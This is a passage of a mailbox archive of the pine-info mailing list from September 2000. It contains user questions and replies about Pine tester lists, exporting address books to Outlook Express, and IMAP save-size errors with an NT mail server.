	for <pine-info@u.washington.edu>; Wed, 6 Sep 2000 06:37:41 -0700
Received: from localhost (dwild@localhost)
	by shiftq.linux.com (8.9.3/8.9.3) with ESMTP id GAA14705
	for <pine-info@u.washington.edu>; Wed, 6 Sep 2000 06:37:40 -0700
Message-Id: <Pine.LNX.4.21.0009060937140.4452-100000@shiftq.linux.com>
Date: Wed, 6 Sep 2000 09:37:40 -0400 (EDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Derek Wildstar <dwild@linux.com>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: list names
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Authentication-Warning: shiftq.linux.com: dwild owned process doing -bs
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

Is there a dedicated pine-bugs or pine-beta list?

Thanks,
-dwild


-- 
-----------------------------------------------------------------
 For information about this mailing list, and its archives, see: 
 http://www.washington.edu/pine/pine-info/
-----------------------------------------------------------------

From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Wed, 6 Sep 2000 10:15:59 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA00724;
	Wed, 6 Sep 2000 10:15:58 -0700 (PDT)
Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA07102;
	Wed, 6 Sep 2000 10:15:58 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA12823;
	Wed, 6 Sep 2000 10:15:01 -0700
Received: from jason03.u.washington.edu (root@jason03.u.washington.edu [140.142.77.10])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA62082
	for <pine-info@lists.u.washington.edu>; Wed, 6 Sep 2000 10:13:18 -0700
Received: from dante21.u.washington.edu (leibrand@dante21.u.washington.edu [140.142.15.71])
	by jason03.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.01) with ESMTP id KAA16768;
	Wed, 6 Sep 2000 10:13:17 -0700
Received: from localhost (leibrand@localhost)
	by dante21.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA123610;
	Wed, 6 Sep 2000 10:13:16 -0700
Message-Id: <Pine.A41.4.29.999.0009061010290.115692-100000@dante21.u.washington.edu>
Date: Wed, 6 Sep 2000 10:13:16 -0700 (PDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Scott Leibrand <leibrand+pine@u.washington.edu>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: list names
In-Reply-To: <Pine.LNX.4.21.0009060937140.4452-100000@shiftq.linux.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Derek Wildstar <dwild@linux.com>
X-Cc: Pine Discussion Forum <pine-info@u.washington.edu>
X-Sender: leibrand@dante21.u.washington.edu
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

On Wed, 6 Sep 2000, Derek Wildstar wrote:

> Is there a dedicated pine-bugs or pine-beta list?

There's pine-bugs@cac.washington.edu, but that's not really a list.
Messages sent there just go to the Pine team.  There is an alpha/beta
list.  To become a tester, you need to send a request to
pine@cac.washington.edu, and they can add you to the list manually.

-- 
Scott Leibrand
leibrand+pine@u.washington.edu            (Yes, that is a valid address.)
http://students.washington.edu/leibrand
http://www.nwlink.com/~leibrand
* RCW 19.190 notice: This email address is located in Washington State. *
* Unsolicited commercial email may be billed $500 per message.          *


From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Wed, 6 Sep 2000 11:09:22 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA15307;
	Wed, 6 Sep 2000 11:09:21 -0700 (PDT)
Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA00507;
	Wed, 6 Sep 2000 11:09:20 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id LAA14789;
	Wed, 6 Sep 2000 11:08:02 -0700
Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id LAA94020
	for <pine-info@lists.u.washington.edu>; Wed, 6 Sep 2000 11:07:28 -0700
Received: from lye.youthencounter.org (lye.visi.com [209.98.4.158])
	by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA15699
	for <pine-info@u.washington.edu>; Wed, 6 Sep 2000 11:07:26 -0700
Received: from jeff ([192.168.1.174]) by lye.youthencounter.org (8.8.8/SCO5) with SMTP id NAA26144 for <pine-info@u.washington.edu>; Wed, 6 Sep 2000 13:05:31 -0500 (CDT)
Message-Id: <000601c0182d$ec804c80$ae01a8c0@jeff.youthencounter.org>
Date: Wed, 6 Sep 2000 13:11:48 -0500
Reply-To: <jeff@youthencounter.org>
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: "Jeff Rowdon" <jeff@youthencounter.org>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: address book export
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-To: "Pine Discussion Forum" <pine-info@u.washington.edu>
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

Due to a new computer system I need to export user's Pine address books into
Outlook Express.  Does anyone know how to do that easily and cleanly?
Thanks in advance for the help.

Peace,
Jeff at Youth Encounter
jeff@youthencounter.org
www.youthencounter.org

-- 
-----------------------------------------------------------------
 For information about this mailing list, and its archives, see: 
 http://www.washington.edu/pine/pine-info/
-----------------------------------------------------------------

From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Wed, 6 Sep 2000 11:31:21 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA26357;
	Wed, 6 Sep 2000 11:31:20 -0700 (PDT)
Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA10433;
	Wed, 6 Sep 2000 11:31:20 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id LAA16310;
	Wed, 6 Sep 2000 11:30:07 -0700
Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id LAA145760
	for <pine-info@lists.u.washington.edu>; Wed, 6 Sep 2000 11:29:23 -0700
Received: from susdayte51.daytonoh.ncr.com (tan7.ncr.com [192.127.94.7])
	by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA10508
	for <pine-info@u.washington.edu>; Wed, 6 Sep 2000 11:29:22 -0700
Received: by susdayte51.daytonoh.ncr.com with Internet Mail Service (5.5.2650.21)
	id <RXRL4DW5>; Wed, 6 Sep 2000 14:29:18 -0400
Message-Id: <61A60D883863D411A36600D0B785B50CBEECFA@susdayte51.daytonoh.ncr.com>
Date: Wed, 6 Sep 2000 14:29:15 -0400 
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: "Feinholz, Steven" <SF122233@exchange.SanDiegoCA.NCR.COM>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: RE: address book export
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-To: jeff@youthencounter.org,
        Pine Discussion Forum
	 <pine-info@u.washington.edu>
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

This is what I did:

Go to http://www.interguru.com/mailconv.htm and download
the email address book converter.

Convert your email address book to a comma-separated format
file (.csv I believe). Then import that file with Outlook
Express.

Worked real well for me.

-----Original Message-----
From: Jeff Rowdon [mailto:jeff@youthencounter.org]
Sent: Wednesday, September 06, 2000 11:12 AM
To: Pine Discussion Forum
Subject: address book export


Due to a new computer system I need to export user's Pine address books into
Outlook Express.  Does anyone know how to do that easily and cleanly?
Thanks in advance for the help.

Peace,
Jeff at Youth Encounter
jeff@youthencounter.org
www.youthencounter.org

-- 
-----------------------------------------------------------------
 For information about this mailing list, and its archives, see: 
 http://www.washington.edu/pine/pine-info/
-----------------------------------------------------------------

From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Wed, 6 Sep 2000 11:34:41 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA32509;
	Wed, 6 Sep 2000 11:34:40 -0700 (PDT)
Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA01578;
	Wed, 6 Sep 2000 11:34:39 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id LAA15703;
	Wed, 6 Sep 2000 11:32:59 -0700
Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id LAA47262
	for <pine-info@lists.u.washington.edu>; Wed, 6 Sep 2000 11:32:08 -0700
Received: from susdayte51.daytonoh.ncr.com (tan7.ncr.com [192.127.94.7])
	by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA11126
	for <pine-info@u.washington.edu>; Wed, 6 Sep 2000 11:32:07 -0700
Received: by susdayte51.daytonoh.ncr.com with Internet Mail Service (5.5.2650.21)
	id <RXRL4DXT>; Wed, 6 Sep 2000 14:32:02 -0400
Message-Id: <61A60D883863D411A36600D0B785B50CC181D7@susdayte51.daytonoh.ncr.com>
Date: Wed, 6 Sep 2000 14:31:54 -0400 
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: "Feinholz, Steven" <SF122233@exchange.SanDiegoCA.NCR.COM>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: RE: address book export (correction)
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-To: Pine Discussion Forum <pine-info@u.washington.edu>
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

Correction. There is no program to download. The conversion
program runs directly from the web I believe.

-----Original Message-----
From: Feinholz, Steven 
Sent: Wednesday, September 06, 2000 11:29 AM
To: Pine Discussion Forum
Subject: RE: address book export


This is what I did:

Go to http://www.interguru.com/mailconv.htm and download
the email address book converter.

Convert your email address book to a comma-separated format
file (.csv I believe). Then import that file with Outlook
Express.

Worked real well for me.

-----Original Message-----
From: Jeff Rowdon [mailto:jeff@youthencounter.org]
Sent: Wednesday, September 06, 2000 11:12 AM
To: Pine Discussion Forum
Subject: address book export


Due to a new computer system I need to export user's Pine address books into
Outlook Express.  Does anyone know how to do that easily and cleanly?
Thanks in advance for the help.

Peace,
Jeff at Youth Encounter
jeff@youthencounter.org
www.youthencounter.org

-- 
-----------------------------------------------------------------
 For information about this mailing list, and its archives, see: 
 http://www.washington.edu/pine/pine-info/
-----------------------------------------------------------------
-- 
-----------------------------------------------------------------
 For information about this mailing list, and its archives, see: 
 http://www.washington.edu/pine/pine-info/
-----------------------------------------------------------------

From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Wed, 6 Sep 2000 11:36:54 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA22760;
	Wed, 6 Sep 2000 11:36:51 -0700 (PDT)
Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA10755;
	Wed, 6 Sep 2000 11:36:50 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id LAA02690;
	Wed, 6 Sep 2000 11:35:13 -0700
Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id LAA29752
	for <pine-info@lists.u.washington.edu>; Wed, 6 Sep 2000 11:34:07 -0700
Received: from moshpit.cygnus.com (moshpit.cygnus.com [203.24.38.233])
	by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA11441
	for <pine-info@u.washington.edu>; Wed, 6 Sep 2000 11:34:05 -0700
Received: from localhost (bje@localhost)
	by moshpit.cygnus.com (8.10.2/8.10.2) with ESMTP id e86IWcb12170;
	Thu, 7 Sep 2000 05:32:38 +1100
Message-Id: <Pine.LNX.4.21.0009070525310.12143-100000@moshpit.cygnus.com>
Date: Thu, 7 Sep 2000 05:32:38 +1100 (EST)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Ben Elliston <bje@redhat.com>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: address book export
In-Reply-To: <000601c0182d$ec804c80$ae01a8c0@jeff.youthencounter.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Jeff Rowdon <jeff@youthencounter.org>
X-Cc: Pine Discussion Forum <pine-info@u.washington.edu>
X-Authentication-Warning: moshpit.cygnus.com: bje owned process doing -bs
X-Sender: bje@moshpit.cygnus.com
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

   Due to a new computer system I need to export user's Pine address
   books into Outlook Express.  Does anyone know how to do that easily
   and cleanly? Thanks in advance for the help.

The Pine address book is plain text.  You can read it in .addressbook.  It
should be possible to import and address book in some format; you may just
need to manipulate the file to placate Outlook.

Ben


From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Thu, 7 Sep 2000 10:05:44 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA10745;
	Thu, 7 Sep 2000 10:05:43 -0700 (PDT)
Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA03313;
	Thu, 7 Sep 2000 10:05:38 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA06461;
	Thu, 7 Sep 2000 10:04:45 -0700
Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id JAA22856
	for <pine-info@lists.u.washington.edu>; Thu, 7 Sep 2000 09:59:03 -0700
Received: from maddler.net (IDENT:root@william.maddler.net [195.120.189.37])
	by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA18079
	for <pine-info@u.washington.edu>; Thu, 7 Sep 2000 09:59:00 -0700
Received: from localhost (maddler@localhost)
	by maddler.net (8.9.3/8.8.7) with ESMTP id TAA25272;
	Thu, 7 Sep 2000 19:02:37 +0200
Message-Id: <Pine.LNX.4.21.0009071901090.23161-100000@maddler.net>
Date: Thu, 7 Sep 2000 19:02:36 +0200 (CEST)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: William Maddler <maddler@maddler.net>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: address book export
In-Reply-To: <000601c0182d$ec804c80$ae01a8c0@jeff.youthencounter.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Jeff Rowdon <jeff@youthencounter.org>
X-Cc: Pine Discussion Forum <pine-info@u.washington.edu>
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN


Or you could install PC-Pine on the new PC.
Anyway _avoid_ to use Micro$soft Outlock. Eudora werks a lot better
and has less bugs. 

00.09.06 at 13:11, PINE-INFO-owner@u.washington.edu babbled of:

JR>Due to a new computer system I need to export user's Pine address books into
JR>Outlook Express.  Does anyone know how to do that easily and cleanly?
JR>Thanks in advance for the help.
JR>
JR>Peace,
JR>Jeff at Youth Encounter
JR>jeff@youthencounter.org
JR>www.youthencounter.org
JR>
JR>

-- 

<FUN>                               +-----------------------------+
        <HAPPINESS>                 | William::Maddler            |
                   Gimme a Beer!    +-----------------------------+
        </HAPPINESS>                bid.it - maddler.net - ecn.org
</FUN>                                     pollodigomma.org


From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Sun, 10 Sep 2000 09:41:21 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA27068;
	Sun, 10 Sep 2000 09:41:20 -0700 (PDT)
Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA05576;
	Sun, 10 Sep 2000 09:41:19 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id JAA11707;
	Sun, 10 Sep 2000 09:40:44 -0700
Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id JAA124332
	for <pine-info@lists.u.washington.edu>; Sun, 10 Sep 2000 09:38:41 -0700
Received: from johanna5.ux.his.no (johanna5.ux.his.no [152.94.1.25])
	by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA11771
	for <pine-info@u.washington.edu>; Sun, 10 Sep 2000 09:38:40 -0700
Received: from gorina13.ux.his.no (gorina13.ux.his.no [152.94.1.53])
	by johanna5.ux.his.no (8.9.3/8.9.3) with ESMTP id SAA25317;
	Sun, 10 Sep 2000 18:38:22 +0200 (MET DST)
Received: by gorina13.ux.his.no id MAA08675; Sun, 10 Sep 2000 12:38:21 -0400 (EDT)
Message-Id: <Pine.GHP.4.21.0009101818380.8641-100000@gorina13.ux.his.no>
Date: Sun, 10 Sep 2000 18:38:21 +0200 (METDST)
Reply-To: Atle Weibell <atle@weibell.no>
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Atle Weibell <atlwe@ux.his.no>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: Message to save shrank ++
In-Reply-To: <Pine.SOL.3.96.1000828204309.247E-100000@shell.worldonline.nl>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Pine Discussion Forum <pine-info@u.washington.edu>
X-Cc: Bruce Cohen <cohenb@worldonline.nl>
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

Dear brothers (and sisters) in Pine...

I've still got problems with saving messages to other folders due to the
[Message to save shrank (...)] error, and I also get this message:
[Message size does not match expected size, continuing...]

I've talked to my ISP about the estimated/actual message size issue, but
they could not find anything in the config about it... :(

In addition, I've started to get these messages when I view the INDEX:
(no trouble at all if I'm just *opening* INBOX)

[>Unknown message property: ((NIL<]
[>Unknown message property: "ATLE"<]
[Junk at end of address list: NIL NIL NIL) (NIL NIL NIL) (...) ]
[Not an address: ) NIL NIL NIL "<242EEB3C73(...)@ffsvg02.farmersfield.com>]
[Junk at end of envelope (...) ]

I'm getting these messages by opening a mailbox either in PC-Pine
4.21 or Unix-Pine 4.21. I've also tried Outlook (sorry...) and that worked
'fine' (at least no errors about this...). But, of course, that's not an
alternative...

My ISP runs IMail 5.08 6006-1 on an NT Server, reporting "220 X1 NT-ESMTP
Server" on port 25.

I'll appreciate any help!

Regards,
-- 
Atle Weibell | atle@weibell.no | pr 51690007 | mo 90690010 | fx 51690431 |


From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Mon, 11 Sep 2000 06:19:17 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id GAA04638;
	Mon, 11 Sep 2000 06:19:16 -0700 (PDT)
Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA26010;
	Mon, 11 Sep 2000 06:19:16 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id GAA14748;
	Mon, 11 Sep 2000 06:18:18 -0700
Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id GAA133394
	for <pine-info@lists.u.washington.edu>; Mon, 11 Sep 2000 06:17:10 -0700
Received: from mail.i.linux.com (IDENT:root@mail.linux.com [198.186.203.59])
	by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA02505
	for <pine-info@u.washington.edu>; Mon, 11 Sep 2000 06:17:10 -0700
Received: from shiftq.linux.com (IDENT:mail@shiftq.linux.com [10.1.1.10])
	by mail.i.linux.com (8.11.0.Beta3/8.11.0.Beta3) with ESMTP id e8BDH9r07857;
	Mon, 11 Sep 2000 06:17:09 -0700
Received: from localhost (dwild@localhost)
	by shiftq.linux.com (8.9.3/8.9.3) with ESMTP id GAA30816;
	Mon, 11 Sep 2000 06:17:09 -0700
Message-Id: <Pine.LNX.4.21.0009110914120.15686-100000@shiftq.linux.com>
Date: Mon, 11 Sep 2000 09:17:09 -0400 (EDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Joel Boring <dwild@linux.com>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: Message to save shrank ++
In-Reply-To: <Pine.GHP.4.21.0009101818380.8641-100000@gorina13.ux.his.no>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Atle Weibell <atle@weibell.no>
X-Cc: Pine Discussion Forum <pine-info@u.washington.edu>
X-Authentication-Warning: shiftq.linux.com: dwild owned process doing -bs
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

On Sun, 10 Sep 2000, Atle Weibell wrote:

> Dear brothers (and sisters) in Pine...
> 
> I've still got problems with saving messages to other folders due to the
> [Message to save shrank (...)] error, and I also get this message:
> [Message size does not match expected size, continuing...]

<snip>

> My ISP runs IMail 5.08 6006-1 on an NT Server, reporting "220 X1 NT-ESMTP
> Server" on port 25.


I used to get this a lot when CSE was testing exchange server, and also 
in my last job.  One of the service packs fixed imap support in exchange
server and also fixed the "message size changed" problem.  Another reason
(and probably more incentive) to get your ISP to update is there are/were
several security holes in old MS MTA's....or you could also switch to an
ISP who supports more than just MS propiretary protocols.

I have also noticed mailbox corruption when this error pops up.

-joel


From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Mon, 11 Sep 2000 12:04:17 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA21444;
	Mon, 11 Sep 2000 12:04:15 -0700 (PDT)
Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA04807;
	Mon, 11 Sep 2000 12:04:15 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA09321;
	Mon, 11 Sep 2000 12:03:25 -0700
Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8])
